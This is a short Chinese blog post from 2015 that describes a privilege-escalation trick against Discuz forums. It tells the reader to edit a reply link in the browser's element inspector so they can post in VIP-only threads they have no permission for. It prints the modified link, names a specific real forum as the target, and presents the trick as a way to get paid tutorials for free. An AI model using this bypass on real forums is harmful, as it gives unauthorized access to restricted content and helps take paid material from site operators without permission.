Discuz的一处越权操作 强制回复无权限帖子

2015-5-26 Mr.linus 信息安全

我们先注册账号

随便找一处vip教程

接下来 我们审查元素

找到这段代码  

然后修改

<a href="http://xxx.xxx.xxx/forum.php?mod=post&amp;action=reply&amp;fid=170&amp;tid=9310" onclick="showWindow('reply', this.href)">回复</a>

xxx.xxxx.xx代表该论坛的网址
合购vip  就用
<a href="http://www.hegouvip.com/forum.php?mod=post&amp;action=reply&amp;fid=170&amp;tid=9310" onclick="showWindow('reply', this.href)">回复</a>


接着  我们再点回复


然后我们就可以强制回复了

妈妈再也不用担心我下载不到教程了!!!!!!!

标签: 越权

发表评论:

Powered by Mr.Linus 蜀ICP备16005020号